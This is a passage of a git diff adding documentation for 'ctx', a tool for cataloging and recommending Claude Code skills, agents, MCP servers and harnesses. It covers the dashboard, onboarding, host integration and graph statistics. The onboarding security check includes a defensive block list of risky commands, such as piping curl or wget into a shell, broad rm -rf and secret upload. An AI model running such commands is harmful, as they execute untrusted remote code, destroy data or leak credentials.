Type and tag filters run client-side; no harness filter or styling exists yet. | +| `/kpi` | **KPI dashboard** — total entity count with subject breakdown, grade distribution pills, two-column tables for grade counts and lifecycle tiers (active · watch · demote · archive), hard-floor reasons with counts, **By category** table (count · avg score · A/B/C/D/F mix per category), **Top demotion candidates** (active/watch entries graded D or F, sorted by consecutive-D streak desc then score asc), and the **Archived** list. Same shape as `python -m kpi_dashboard render` but HTML | +| `/sessions` | Index of every session (audit + skill-events), first/last seen, counts of skills loaded/unloaded/agents/lifecycle transitions | +| `/session/` | Per-session audit timeline showing the load → score_updated → unload triad with timestamps | +| `/logs` | Last 500 audit events in a filterable table (client-side filter on event name, subject, session id) | +| `/events` | Live SSE stream of new audit events | + +### JSON API + +| Route | Returns | +|---|---| +| `GET /api/sessions.json` | All sessions with aggregated counts | +| `GET /api/manifest.json` | Raw `skill-manifest.json` passthrough | +| `GET /api/skill/.json` | Raw sidecar for one slug | +| `GET /api/graph/.json?hops=1&limit=40` | Dashboard-shaped skill/agent/MCP `{nodes, edges, center}`; `hops` ∈ [1, 3], `limit` ∈ [5, 150]. Harness graph exposure is not yet present here. | +| `GET /api/kpi.json` | `DashboardSummary` passthrough — `{total, by_subject, grade_counts, lifecycle_counts, category_breakdown, hard_floor_counts, low_quality_candidates, archived, generated_at}`. Returns `{total: 0, detail: "no sidecars yet"}` when the quality directory is empty | +| `GET /api/events.stream` | Server-sent events tail of `~/.claude/ctx-audit.jsonl` | + +### Mutation endpoints + +Both POST endpoints enforce same-origin (browser tab open on another +origin can't forge a request), require the per-process +`X-CTX-Monitor-Token` injected into the dashboard page, and reject any +slug failing the shared safe-name validator. That validator blocks path +separators, Windows drive-relative strings, malformed names, and Windows +reserved device names such as `con.txt` and `nul.`. There is no harness +load/unload mutation endpoint yet. + +| Route | Body | Calls | +|---|---|---| +| `POST /api/load` | `{"slug": "..."}` | `skill_loader.load_skill(slug)` | +| `POST /api/unload` | `{"slug": "...", "entity_type": "skill"}` | `skill_unload.unload_from_session([slug])` | +| `POST /api/unload` | `{"slug": "...", "entity_type": "mcp-server"}` | `mcp_install.uninstall_mcp(slug, force=True)` | + +Both emit a matching `skill.loaded` / `skill.unloaded` audit row +with `actor=user, meta.via="ctx-monitor"` so the dashboard-driven +action is visible in the session timeline. + +## KPIs, measures, scores + +The dashboard surfaces every quality signal ctx currently computes for +sidecar-backed skills, agents, and MCP servers. Harness scoring is not +yet exposed in the dashboard. Nothing is aggregated-only — you can +always drill from a headline number to the raw sidecar that produced it. + +### On the home page + +| Card | What it means | +|---|---| +| **Currently loaded** | Count of entries in `skill-manifest.json[load]`. Clicking the card drills to `/loaded` | +| **Sidecars** | Total sidecars in `~/.claude/skill-quality/` | +| **Wiki entities** | Count of dashboard-supported wiki pages (skills + agents + MCP servers; no harness pages yet) | +| **Knowledge graph** | Dashboard-supported skill/agent/MCP node count + edge count from `graphify-out/graph.json` | +| **Audit events** | Line count of `~/.claude/ctx-audit.jsonl` | +| **Sessions** | Unique session IDs seen across audit + events | +| **Grade pills** | A / B / C / D / F counts across all sidecars, colored | + +### On `/skills` + +Every card shows: + +- **grade** — A / B / C / D / F pill (A=green, F=red) +- **raw score** — float in [0, 1] before the hard-floor override +- **subject_type** — skill vs agent +- **hard floor reason** — `never_loaded_stale`, `intake_fail`, etc. + when the floor is active + +Cards sorted by `(grade, -raw_score)` so high-scoring A's come first. + +### On `/skill/` + +The full four-signal breakdown from the sidecar: + +| Signal | Weight (default) | What it measures | +|---|---:|---| +| **Telemetry** | 0.40 | Load frequency + recency from `skill-events.jsonl`. Rewards skills that are actually used. | +| **Intake** | 0.20 | Structural health: frontmatter fields present, H1 present, minimum body length, description length. Zero if `intake_fail` floor is active. | +| **Graph** | 0.25 | Connectivity in the knowledge graph: degree, average edge weight, community size | +| **Routing** | 0.15 | Router hit rate from `~/.claude/router-trace.jsonl`: how often this skill was among the top-K recommendations when surfaced | + +The final score is `sum(weight[i] * signal[i])`. A hard floor +(`never_loaded_stale`, `intake_fail`) can override the score to +force an F grade regardless of other signals. + +The skill detail page also shows the audit timeline for this slug +specifically: every `skill.loaded`, `skill.unloaded`, +`skill.score_updated` row with its session_id, so you can trace +exactly why the score changed when it did. + +### On `/session/` + +The per-session view lets you watch a skill's lifecycle inside one +session: + +``` +skill.loaded fastapi-pro session-abc @ 10:23:05 +skill.score_updated fastapi-pro session-abc @ 10:31:47 grade C->B +skill.unloaded fastapi-pro session-abc @ 11:04:02 +``` + +The `load → score_updated → unload` triad is the canonical +observability proof that ctx's telemetry pipeline is live. + +## Security + +- **Binds to 127.0.0.1 by default**. Use `--host 0.0.0.0` only if + you actually want LAN-visible. No authentication; the server is + intended for a local developer's own machine. +- **Same-origin gating on mutation**. Any POST with an `Origin` + header that doesn't match `Host` returns 403. Curl and direct + tool calls are allowed (no Origin header at all). +- **Slug allowlist on all paths**. Anywhere the dashboard resolves + a skill, agent, or MCP slug to a file path (`/wiki/`, + `/graph?slug=`, `/api/graph/.json`), the slug is + validated through the shared + safe-name helper — no path traversal, no absolute paths, no UNC + shares, no Windows reserved device names. + +## Stopping + +Ctrl+C in the terminal. Request handling is threaded for local dashboard +responsiveness, and shutdown signals any open SSE workers. The monitor is +still not suitable for shared/production serving. diff --git a/docs/entity-onboarding.md b/docs/entity-onboarding.md new file mode 100644 index 0000000000000000000000000000000000000000..da1838e1c8171674fdc21478a877633fa87cf581 --- /dev/null +++ b/docs/entity-onboarding.md @@ -0,0 +1,273 @@ +# Entity Onboarding + +ctx treats skills, agents, MCP servers, and harnesses as wiki entities that can +be indexed, linked in the knowledge graph, and recommended from the same +surface. The important distinction is install behavior: + +- Skills and agents are local Claude Code assets. +- MCP servers are cataloged first, then installed only when the user opts in. +- Harnesses are cataloged first. A harness describes the machinery around the + model: runtime, tools, access boundaries, memory, verification, and approval + policy. Adding one never executes upstream setup commands. + +After adding any entity, rebuild the graph when you want it to participate in +recommendations: + +```bash +ctx-wiki-graphify +ctx-scan-repo --repo . --recommend +``` + +## Updating the Graph and LLM Wiki + +Use this sequence for every accepted skill, agent, MCP server, or harness +change. The graph and LLM-wiki are shippable artifacts, not scratch output, so +the update is treated like a release step. + +1. Add or update the entity through the matching command: + `ctx-skill-add`, `ctx-agent-add`, `ctx-mcp-add`, or `ctx-harness-add`. +2. If the entity already exists, read the update review. It lists changed + fields, likely benefits, regressions, and security findings. Do not pass + `--update-existing` until those findings are acceptable. +3. Run the security/cyber check below. +4. Rebuild the curated wiki graph with `ctx-wiki-graphify`. +5. Repack `graph/wiki-graph.tar.gz` with the exclusions in + `graph/README.md`; never commit local review reports or raw caches. +6. Refresh the Skills.sh catalog overlay when shipping catalog coverage. + This adds remote-cataloged first-class `skill` nodes under the + `skills-sh-` prefix, skill pages under `entities/skills/`, install + commands, duplicate hints, and metadata-only quality/security signals: + + ```bash + python src/import_skills_sh_catalog.py --from-api-union \ + --catalog-out graph/skills-sh-catalog.json.gz \ + --wiki-tar graph/wiki-graph.tar.gz \ + --update-wiki-tar + ``` +7. Refresh published counts with `python src/update_repo_stats.py`. +8. Verify the changed entity can be recommended through + `ctx-scan-repo --repo . --recommend` or `ctx__recommend_bundle`. + +## Security and Cyber Check + +Run this before applying `--update-existing`, before installing a harness with +approved commands, and before shipping a refreshed graph tarball. + +- Inspect changed entity markdown and frontmatter for shell commands, setup + commands, install commands, URLs, requested permissions, and model/provider + access. +- Treat these as manual-review blockers: `curl | sh`, `wget | bash`, + `Invoke-Expression`, broad `rm -rf`, `git reset --hard`, `chmod 777`, secret + upload, disabled auth/TLS/sandboxing/audit/tests, or unpinned package sources. +- For MCP and harness updates, check network access, filesystem scope, auth + material, command transports, and whether setup or verify commands execute + remote code. +- Prefer dry-run first: `ctx-harness-install --dry-run` and + `ctx-harness-install --update --dry-run`. +- If a candidate is useful but risky, document the safer install path or keep it + as catalog-only metadata instead of shipping it as an installed skill. + +## Updating an Existing Entity + +The add commands are non-destructive by default when the target skill, agent, +MCP server, or harness already exists. The first add attempt prints an update +review instead of replacing files. That review lists changed fields, expected +benefits, possible regressions, security findings, and a recommendation. + +Use this flow for every entity type: + +1. Run the normal add command. +2. If ctx prints `Existing already exists`, read the benefits and risks. +3. Keep the current entity by doing nothing, or re-run with `--skip-existing` + in batch jobs where you do not want reviews. +4. Apply the replacement only after review with `--update-existing`. +5. Rebuild the graph with `ctx-wiki-graphify` when the update should affect + recommendations. + +Examples: + +```bash +ctx-skill-add --skill-path ./SKILL.md --name fastapi-review +ctx-skill-add --skill-path ./SKILL.md --name fastapi-review --update-existing + +ctx-agent-add --agent-path ./code-reviewer.md --name code-reviewer +ctx-agent-add --agent-path ./code-reviewer.md --name code-reviewer --update-existing + +ctx-mcp-add --from-json ./github-mcp.json +ctx-mcp-add --from-json ./github-mcp.json --update-existing + +ctx-harness-add --from-json ./text-to-cad-harness.json +ctx-harness-add --from-json ./text-to-cad-harness.json --update-existing +``` + +`ctx-harness-install --update` is different: it refreshes an installed harness +checkout under `~/.claude/harnesses/`. Catalog entity replacement uses +`ctx-harness-add --update-existing`. + +## Add a Skill + +Use this when you have a local `SKILL.md` that should be installed under +`~/.claude/skills//SKILL.md` and mirrored into the wiki. + +```bash +ctx-skill-add \ + --skill-path ./SKILL.md \ + --name fastapi-review +``` + +What happens: + +1. The name is validated. +2. Intake checks run against the markdown. +3. The skill is copied into `~/.claude/skills/`. +4. A wiki page is created under `entities/skills/`. +5. The wiki index and log are updated. + +## Add an Agent + +Use this when you have a local Claude Code agent markdown file. + +```bash +ctx-agent-add \ + --agent-path ./code-reviewer.md \ + --name code-reviewer +``` + +Batch-add every top-level `.md` file in a directory: + +```bash +ctx-agent-add --scan-dir ./agents --skip-existing +``` + +Agents are copied into `~/.claude/agents/` and mirrored into +`entities/agents/`. Re-run `ctx-wiki-graphify` after adding agents if you want +graph recommendations to include them. + +## Add an MCP Server + +Use this when you want the MCP server available as a recommendation before +installing it into a host. + +Create `github-mcp.json`: + +```json +{ + "name": "GitHub MCP", + "slug": "github-mcp", + "description": "MCP server for GitHub repository and issue workflows.", + "github_url": "https://github.com/modelcontextprotocol/servers", + "sources": ["manual"], + "tags": ["github", "automation", "repository"], + "transports": ["stdio"] +} +``` + +Add it: + +```bash +ctx-mcp-add --from-json ./github-mcp.json +``` + +MCP pages live under `entities/mcp-servers//.md`. The add command +detects existing pages by slug and, when possible, canonical GitHub URL. If a +match exists, ctx prints the update review and skips replacement unless +`--update-existing` is passed. + +## Add a Harness + +Use this when a repo provides the runtime around a model rather than just a +tool. Harness examples include coding-agent loops, CAD-generation runtimes, +browser-automation runners, evaluation loops, and local-model workbenches. + +Example: catalog `earthtojake/text-to-cad` as a harness recommendation. + +```bash +ctx-harness-add \ + --repo https://github.com/earthtojake/text-to-cad \ + --name "Text to CAD" \ + --description "Harness for turning text prompts into CAD artifacts." \ + --tag cad --tag 3d --tag automation \ + --model-provider openai \ + --runtime python \ + --capability "Generate CAD artifacts from natural language" \ + --setup-command "pip install -e ." \ + --verify-command "pytest" +``` + +Or load one JSON record: + +```json +{ + "repo_url": "https://github.com/earthtojake/text-to-cad", + "name": "Text to CAD", + "description": "Harness for turning text prompts into CAD artifacts.", + "tags": ["cad", "3d", "automation"], + "model_providers": ["openai"], + "runtimes": ["python"], + "capabilities": ["Generate CAD artifacts from natural language"], + "setup_commands": ["pip install -e ."], + "verify_commands": ["pytest"], + "sources": ["manual"] +} +``` + +```bash +ctx-harness-add --from-json ./text-to-cad-harness.json +``` + +Harness pages live under `entities/harnesses/.md`. Setup and verification +commands are documentation only; ctx records them so the user can inspect and +decide before running anything. + +To inspect and install a cataloged harness: + +```bash +ctx-harness-install text-to-cad --dry-run +ctx-harness-install text-to-cad +ctx-harness-install text-to-cad --update --dry-run +ctx-harness-install text-to-cad --uninstall --dry-run +``` + +The installer clones or copies the harness into `~/.claude/harnesses/` and +writes `~/.claude/harness-installs/.json`. It does not run setup commands +unless you pass `--approve-commands`, and it does not run verification commands +unless you also pass `--run-verify`. + +```bash +ctx-harness-install text-to-cad --approve-commands --run-verify +ctx-harness-install text-to-cad --update --approve-commands --run-verify +ctx-harness-install text-to-cad --uninstall +ctx-harness-install text-to-cad --uninstall --keep-files +``` + +## Initialize Model Choice + +During setup, record whether you use Claude Code or your own model. Plain +`ctx-init` starts a small wizard when it is attached to an interactive +terminal; use `ctx-init --wizard` to force the prompts, or pass explicit flags +such as `--model-mode skip` for non-interactive automation. + +```bash +ctx-init +ctx-init --wizard +ctx-init --model-mode skip +``` + +For Claude Code: + +```bash +ctx-init --model-mode claude-code --goal "maintain a FastAPI service" +``` + +For a custom model: + +```bash +ctx-init \ + --model-mode custom \ + --model openai/gpt-5.5 \ + --goal "build CAD artifacts from text prompts" +``` + +Add `--validate-model` only when you want `ctx-init` to make one small provider +call. Without that flag, setup writes `~/.claude/ctx-model-profile.json` and +prints harness recommendations without calling the model. diff --git a/docs/harness/attaching-to-hosts.md b/docs/harness/attaching-to-hosts.md new file mode 100644 index 0000000000000000000000000000000000000000..8e62402813c2d7af630626eb7f615b397b3a16ba --- /dev/null +++ b/docs/harness/attaching-to-hosts.md @@ -0,0 +1,259 @@ +# Attaching ctx to any LLM host + +`ctx` ships three integration surfaces. Pick based on what your host +already supports: + +| Your host | Use | +|---|---| +| MCP-native (Claude Code, Claude Agent SDK, Cline, Goose, OpenHands, Continue) | **MCP server** — no Python, just spawn `ctx-mcp-server` | +| Anything that isn't MCP-native but runs Python | **Python library** — `from ctx import recommend_bundle, ...` | +| "I just want to run an agent and get recommendations" | **`ctx run` CLI** — our built-in harness | + +All three paths consume the **same** knowledge graph, llm-wiki, and +quality scoring. Recommendations are identical; only the transport +differs. + +--- + +## 1. MCP server path + +Install ctx with the harness extras: + +```bash +pip install "claude-ctx[harness]" +``` + +This puts `ctx-mcp-server` on your PATH. Then wire it into your host: + +### Claude Code + +```bash +claude mcp add ctx-wiki -- ctx-mcp-server +``` + +The tools `ctx__recommend_bundle`, `ctx__graph_query`, `ctx__wiki_search`, +`ctx__wiki_get` appear to Claude on the next turn. Ask +"What skills help with FastAPI auth?" and it will call them. + +### Claude Agent SDK (Python) + +```python +from anthropic import Anthropic +from claude_agent_sdk import ClaudeAgentOptions, McpServerConfig + +options = ClaudeAgentOptions( + mcp_servers={ + "ctx-wiki": McpServerConfig( + command="ctx-mcp-server", + ), + }, +) +``` + +### Cline / Continue.dev + +Add to your MCP server config (`~/.config/cline/mcp.json` or the +Continue equivalent): + +```json +{ + "mcpServers": { + "ctx-wiki": { + "command": "ctx-mcp-server" + } + } +} +``` + +### Goose + +`~/.config/goose/config.yaml`: + +```yaml +extensions: + ctx-wiki: + type: stdio + cmd: ctx-mcp-server +``` + +### OpenHands + +OpenHands' runtime config: + +```json +{ + "mcp_servers": { + "ctx-wiki": { + "command": "ctx-mcp-server" + } + } +} +``` + +### Any MCP-speaking harness + +The server reads JSON-RPC 2.0 on stdin, writes on stdout, speaks +MCP protocol version `2024-11-05`. Any client that does the standard +`initialize` handshake + `tools/list` + `tools/call` flow works. + +### Live MCP compatibility gate + +The regular test suite never starts arbitrary third-party MCP servers. +Those commands run as local subprocesses and can read files, use the +network, and inherit whatever environment you explicitly allow. + +To validate a trusted server, provide a local config and opt in: + +```bash +python -m pytest src/tests/test_mcp_live_compat.py \ + --run-live-mcp \ + --live-mcp-config /path/to/trusted-mcp.json +``` + +Example config: + +```json +{ + "name": "trusted-filesystem", + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-filesystem", "${tmp_path}"], + "startup_timeout": 30, + "request_timeout": 10, + "inherit_env": false, + "env": {}, + "expected_tools": ["list_directory"], + "probe": { + "tool": "list_directory", + "arguments": {"path": "."}, + "expect_text_contains": "" + }, + "trust": { + "server_is_third_party_code": true, + "approved_by": "your-name" + } +} +``` + +`command` and `args` are passed as an argv list, not through a shell. +Parent secrets are not inherited unless you set `inherit_env: true`; prefer +explicit `env` keys for servers that need credentials. `${tmp_path}` expands +to a pytest temporary directory so filesystem probes can avoid real user data. + +--- + +## 2. Python library path + +For custom harnesses that aren't MCP-native but can import Python: + +```python +from ctx import ( + recommend_bundle, # free-text → ranked skill/agent/MCP bundle + graph_query, # walk from seed entities + wiki_search, # keyword search entity pages + wiki_get, # fetch one entity by slug + list_all_entities, # enumerate every slug +) + +# Inside your agent loop: +def on_user_turn(query: str): + bundle = recommend_bundle(query, top_k=5) + for entry in bundle: + print(f" [{entry['type']:>11}] {entry['name']} (score {entry['score']:.1f})") + + # User asks about a specific slug you saw in the bundle: + page = wiki_get("fastapi-pro") + if page: + inject_into_context(page["body"]) +``` + +The first call to any of these lazy-loads the graph + wiki once; +subsequent calls are O(walk) cheap. Safe to call from inside your +own while-loop on every turn. + +Advanced: build a `CtxCoreToolbox` directly if you need to point at +a non-default wiki/graph path: + +```python +from pathlib import Path +from ctx import CtxCoreToolbox + +toolbox = CtxCoreToolbox( + wiki_dir=Path("/path/to/custom/wiki"), + graph_path=Path("/path/to/custom/graph.json"), +) +for td in toolbox.tool_definitions(): + print(td.name, td.description[:50]) +``` + +--- + +## 3. `ctx run` CLI path + +If you don't have your own loop yet: + +```bash +pip install "claude-ctx[harness]" +export OPENROUTER_API_KEY=sk-or-v1-... + +ctx run \ + --model openrouter/anthropic/claude-opus-4.7 \ + --task "find the failing tests in this repo and fix them" \ + --mcp filesystem \ + --budget-usd 2.00 +``` + +Or offline with Ollama: + +```bash +ctx run \ + --model ollama/llama3.1:70b \ + --task "summarize the architecture" \ + --mcp filesystem +``` + +See `ctx run --help` for the full flag set (budgets, compaction, +system prompt overrides, session resume, JSON output, ...). + +--- + +## Choosing the right path + +| Situation | Path | +|---|---| +| Your host already speaks MCP | 1 (MCP server) — zero Python code on your side | +| You want the alive-skill system inside your existing Python loop | 2 (library) | +| You're comparing models and need a harness | 3 (CLI) | +| You're building an IDE extension | 1 if the IDE speaks MCP (most do), else 2 | + +All three paths share `~/.claude/skill-wiki/` as the source-of-truth +corpus, so your recommendations are consistent regardless of the +integration you pick. + +--- + +## Skill lifecycle + +Recommendations go up and down based on use automatically. `ctx` +tracks: + +- **How recently a skill was invoked** (`telemetry_signal`). +- **How broadly it's used across the graph** (`graph_signal`). +- **Whether new skills are being added** (`intake_signal`). + +Skills that fall below a quality floor get demoted to `stale` status +and de-ranked from future recommendations. This logic lives in +`ctx.core.quality.quality_signals` and runs identically whether +you're on the MCP path, library path, or `ctx run` CLI. + +To inspect lifecycle state for a specific skill: + +```bash +ctx-skill-quality --slug fastapi-pro +``` + +Or from Python: + +```python +from ctx.core.quality import quality_signals +# see ctx.core.quality for the scoring API +``` diff --git a/docs/harness/clean-host-contract.md b/docs/harness/clean-host-contract.md new file mode 100644 index 0000000000000000000000000000000000000000..37e5251df88e34d0333ef6dfc72a892f863f182d --- /dev/null +++ b/docs/harness/clean-host-contract.md @@ -0,0 +1,101 @@ +# Clean Host Contract + +The clean-host contract is a release-hardening check for ctx. It builds the +current source tree into a wheel, installs that wheel into a fresh virtualenv, +redirects user-state environment variables into a temporary directory, and then +drives real console scripts. + +It is intentionally implemented as `scripts/clean_host_contract.py`, not as a +public `ctx-*` command. The runner is infrastructure for maintainers until the +contract stabilizes. + +## What It Proves + +- The source tree can build a wheel. +- The built wheel installs into a clean virtualenv. +- Console-script entrypoints execute from the installed wheel. +- `ctx-init --hooks` writes Claude settings only under an isolated temp home. +- A deterministic fake Claude host reads the generated settings and executes + the installed PostToolUse and Stop hook commands without calling Anthropic + APIs. +- With `--run-live-claude`, a real Claude Code host can be exercised behind an + explicit quota acknowledgement, non-spending preflights, and a hard budget + cap. Hook execution is verified through a JSONL sentinel written by injected + PostToolUse and Stop hooks under the temp root. +- `ctx-scan-repo --recommend` can scan a tiny FastAPI-like repo from the wheel. +- `ctx run` can start a session with a process-local fake LiteLLM provider. +- `ctx resume` can continue that session from the same isolated session store. +- `--deny-tool` blocks a model-requested ctx tool call before dispatch. +- Caller `PYTHONPATH` is stripped so the contract cannot accidentally import + source-tree modules instead of the installed wheel. + +## What It Skips + +- It does not run `ctx-init --graph`; graph builds are intentionally slow. +- It does not execute hooks inside a live Claude Code process by default. The + live host path is opt-in because it can consume Anthropic or provider quota. +- It does not connect to a real third-party MCP server. +- It does not browser-test the monitor dashboard. +- It does not simulate process kills or power loss during writes. + +Those checks stay intentionally manual or opt-in until they are stable enough +for the default CI path. + +## Local Usage + +Run from the repository root: + +```bash +python scripts/clean_host_contract.py --fast +``` + +For debugging, keep the temp directory: + +```bash +python scripts/clean_host_contract.py --fast --keep-temp +``` + +To force a specific temp root: + +```bash +python scripts/clean_host_contract.py --fast --temp-root /tmp/ctx-clean-host-debug +``` + +To run the real Claude Code host gate, use a shell with explicit non-file auth +available, acknowledge quota, and keep the budget small: + +```bash +CTX_LIVE_CLAUDE_ACK=uses_quota \ +python scripts/clean_host_contract.py --fast --run-live-claude --live-claude-max-budget-usd 0.05 +``` + +Use `--claude-bin /path/to/claude` if `claude` is not on `PATH`. The live gate +runs `claude --version` and `claude auth status` before the budgeted prompt, +then appends sentinel hooks to the isolated `settings.json` and requires both +PostToolUse and Stop records in `live-claude-hooks.jsonl`. It intentionally +does not read OAuth or keychain state from the real user home; use explicit +environment/provider auth for this check. + +## CI Usage + +The main `.github/workflows/test.yml` workflow runs this contract on pushes and +pull requests. The standalone `.github/workflows/clean-host-contract.yml` +workflow remains available for manual runs and weekly scheduled drift checks. +CI uses the default fake-host path and does not spend model quota. + +## Failure Triage + +- Wheel build failure: inspect package metadata and `pyproject.toml`. +- Install failure: inspect dependency constraints and `pip check` output. +- `ctx-init` failure: inspect packaged entrypoints and hook module paths. +- Fake Claude hook-smoke failure: inspect generated `settings.json`, packaged + hook module paths, and whether PostToolUse/Stop hook schemas changed. +- Live Claude gate failure: inspect explicit auth env/provider credentials, + `claude auth status`, the budget cap, the injected sentinel hook entries, and + `live-claude-hooks.jsonl` under the temp root. +- `ctx-scan-repo` failure: inspect installed flat-module entrypoints and + resolver imports. +- `ctx run` or `ctx resume` failure: inspect LiteLLM provider import behavior, + session store paths, and CLI metadata replay. +- Tool denial failure: inspect `--allow-tool`/`--deny-tool` policy handling in + `src/ctx/cli/run.py` and `src/ctx/adapters/generic/loop.py`. diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000000000000000000000000000000000000..6b7c2beeba52357d8854f91b6317d49aa57f0a8f --- /dev/null +++ b/docs/index.md @@ -0,0 +1,197 @@ +--- +hide: + - navigation +--- + +# ctx — Skill, Agent, MCP & Harness Recommendation and Management + +Watches what you develop, walks a knowledge graph of **92,815 skills, 464 +agents, 10,786 MCP servers, and cataloged harnesses**, and recommends the +right ones on the fly — you decide what to load, install, or adopt. Powered +by a Karpathy LLM wiki with persistent memory that gets smarter every session. + +!!! tip "Install" + + ```bash + pip install claude-ctx + ``` + + Optional extras: `pip install "claude-ctx[embeddings]"` for the + semantic backend, `pip install "claude-ctx[dev]"` for the + pytest/mypy/ruff toolchain. After install the `ctx-scan-repo`, + `ctx-skill-quality`, `ctx-skill-health`, and `ctx-toolbox` console + scripts are on PATH. + + Custom-model users can run + `ctx-init --model-mode custom --model --goal ""` + to record the model profile and surface harness recommendations. + +## Why this exists + +Claude Code skills, agents, MCP servers, and model harness profiles are +powerful, but at scale they become unmanageable: + +- **Discovery problem** — with 92K+ skills, 460+ agents, 10,000+ + MCP servers, and an expanding harness catalog, how do you know which + ones exist and which are relevant to your current project? +- **Context budget** — loading every installable entity wastes tokens and + degrades quality. You need exactly the right skills, agents, MCP + servers, and harness recommendations per session. +- **Hidden connections** — a FastAPI skill is useful, but you also need + the Pydantic skill, the async Python patterns skill, and the Docker + skill, plus possibly a matching MCP server or model harness profile. + Nobody tells you that. +- **Entity rot** — skills, agents, MCP servers, and harness records you + added months ago and never used are cluttering your context. Stale ones + should be flagged and archived. + +ctx solves all of these by treating your ctx catalog as a **knowledge +graph with persistent memory**, not a flat directory. + +## What this is + +ctx is not a collection of scripts. It is an agent with persistent memory +and a knowledge graph. + +The core idea comes from Andrej Karpathy's LLM-wiki pattern: instead of +re-loading everything from scratch each session, an LLM maintains a wiki +it can read, write, and query. The wiki becomes the agent's long-term +memory. + +ctx applies that pattern to catalog management — and extends it with +graph-based discovery: + +- A Karpathy 3-layer wiki at `~/.claude/skill-wiki/` is the single source + of truth. +- **104,065 entity pages/nodes** for the shipped skill/agent/MCP + inventory, including 90,846 remote-cataloged Skills.sh skill pages, + plus harness pages under `entities/harnesses/` when you catalog them. + Each page tracks tags, status, provenance, and usage where it applies. +- A **knowledge graph** (104,065 nodes, 1,030,831 edges) built from a + 13,219-node curated core plus 90,846 remote-cataloged Skills.sh `skill` + nodes. The curated core has 22 Louvain communities and blends semantic + cosine + tag overlap + slug-token overlap; the current Skills.sh pass + adds sparse metadata edges and keeps metadata-only security status until + full SKILL.md body hydration runs. +- **22 Louvain communities** group related entities into named + communities (e.g., *AI + Devops + Frontend*, *Python + API*). +- PostToolUse and Stop hooks update the wiki automatically during each + Claude Code session. +- Skills over 180 lines are converted to a gated 5-stage micro-skill + pipeline so the router can load them incrementally. +- At session start, the skill-router scans your project and + **recommends** the best-matching skills, agents, MCP servers, and + harnesses. +- Mid-session, the context monitor watches every tool call, detects new + stack signals, walks the graph, and **recommends** relevant skills, + agents, MCP servers, and harnesses in real time — **nothing loads or + installs without your approval**. + +The result: you always know what skills, agents, MCP servers, and harnesses are +available for your current task. The graph reveals hidden connections. The wiki +learns from your usage. Stale ones are flagged. New ones self-ingest. + +## Explore the docs + +
+ +- **Knowledge graph** + + --- + + 104,065 shipped graph nodes: 13,219 curated skill/agent/MCP nodes + plus 90,846 remote-cataloged Skills.sh skill nodes. The graph has 1,030,831 + weighted edges; Louvain communities are generated for the curated + core. + Ships pre-built in `graph/wiki-graph.tar.gz` and powers the + graph-aware recommendations + the pre-ship `ctx-dedup-check` gate. + + [:octicons-arrow-right-24: Knowledge graph](knowledge-graph.md) + +- **Entity onboarding** + + --- + + Step-by-step commands for adding a skill, agent, MCP server, or + harness to the wiki and graph. Includes the `text-to-cad` harness + pattern for custom-model users. + + [:octicons-arrow-right-24: Entity onboarding](entity-onboarding.md) + +- **Dashboard** + + --- + + `ctx-monitor serve` opens a local HTTP dashboard with live graph, + skill grades + four-signal scores, session timelines, and one-click + load/unload for skills, agents, and MCP servers. Dashboard harness + exposure is not yet present. Zero dependencies beyond stdlib. + + [:octicons-arrow-right-24: Dashboard reference](dashboard.md) + +- **Toolbox** + + --- + + Curated councils of skills and agents that fire at session-start, + file-save, pre-commit, and session-end. Blocks `git commit` on + HIGH/CRITICAL findings. Five starter toolboxes ship out of the box. + + [:octicons-arrow-right-24: Toolbox overview](toolbox/index.md) · + [Starter toolboxes](toolbox/starters.md) · + [Verdicts & guardrails](toolbox/verdicts.md) + +- **Skill router** + + --- + + Scans the active repo, detects the stack from file signatures, walks + the stack matrix, loads exactly the skills that apply, and can + recommend supporting agents, MCP servers, and harnesses. + + [:octicons-arrow-right-24: Router overview](skill-router/index.md) · + [Stack signatures](stack-signatures.md) · + [Skill-stack matrix](skill-stack-matrix.md) + +- **Health & quality** + + --- + + Structural health checks (missing frontmatter, orphan manifest + entries, line-count drift) plus the four-signal quality score + (telemetry · intake · graph · routing) that grades every skill + A/B/C/D/F. + + [:octicons-arrow-right-24: Skill health](skills-health.md) · + [Memory anchoring](memory-anchor.md) · + [Lifecycle dashboard](skill-lifecycle-and-dashboard.md) + +- **Releases** + + --- + + **v0.7.x** — MIT, CI-matrixed (Ubuntu + Windows × Python 3.11/3.12), + 3,287+ tests passing. Ships console scripts including `ctx-init`, + `ctx-monitor` (local dashboard with graph + wiki + load/unload for + skills, agents, and MCP servers; harness exposure not yet present), + `ctx-dedup-check` (pre-ship near-duplicate gate), and + `ctx-tag-backfill` (catalog hygiene), plus the ~46 MB pre-built + wiki tarball with **104,065 nodes / 1,030,831 edges / 22 curated-core + Louvain communities**. Hardened across the Strix audit + a 12-finding + codex review. + + [:octicons-arrow-right-24: CHANGELOG](https://github.com/stevesolun/ctx/blob/main/CHANGELOG.md) · + [Repository](https://github.com/stevesolun/ctx) + +
+ +## Principles + +- **Foundation first.** Data model, CLI, and starter bundles ship before + any hook integration. Each phase is independently usable. +- **User-configurable everything.** Dedup policy, suggestion loudness, + trigger set, council composition. +- **Evidence over opinion.** Suggestions cite real usage data plus + knowledge-graph edges. No black-box prompts. +- **Token discipline.** Every council run honors `max_tokens` / + `max_seconds` budgets. diff --git a/docs/knowledge-graph.md b/docs/knowledge-graph.md new file mode 100644 index 0000000000000000000000000000000000000000..5934a85fc80c93a6ebdedbe0d589b2298769255b --- /dev/null +++ b/docs/knowledge-graph.md @@ -0,0 +1,210 @@ +# Knowledge graph + +A pre-built weighted graph of skills, agents, MCP servers, and cataloged +harnesses in the ctx ecosystem, shipped as `graph/wiki-graph.tar.gz`. +The on-disk JSON and `resolve_graph` Python API are harness-aware, including +plain-slug graph walks from `harness:` nodes; +`ctx-monitor` currently exposes skill/agent/MCP graph and wiki views +only. Dashboard harness exposure is not yet present. + +## What's in it + +Authoritative numbers from the shipped tarball. The curated-core snapshot +is **13,220 nodes** (1,969 curated skills + 464 agents + 10,786 MCP servers ++ 1 harness). Harness pages under `entities/harnesses/` are ingested into +local rebuilds and recommendation output when cataloged. The tarball also carries **90,846 +remote-cataloged Skills.sh `skill` nodes**, matching skill pages under +`entities/skills/skills-sh-*.md`, and **67,519 sparse metadata edges** back +to curated entities. These records are first-class skills by graph type, +but remain metadata-only until their upstream SKILL.md bodies are hydrated +and reviewed. + +| | Count | +|---|---:| +| Total nodes | **104,066** | +| Curated core nodes | **13,220** (1,969 skills + 464 agents + 10,786 MCP servers + 1 harness) | +| Remote-cataloged 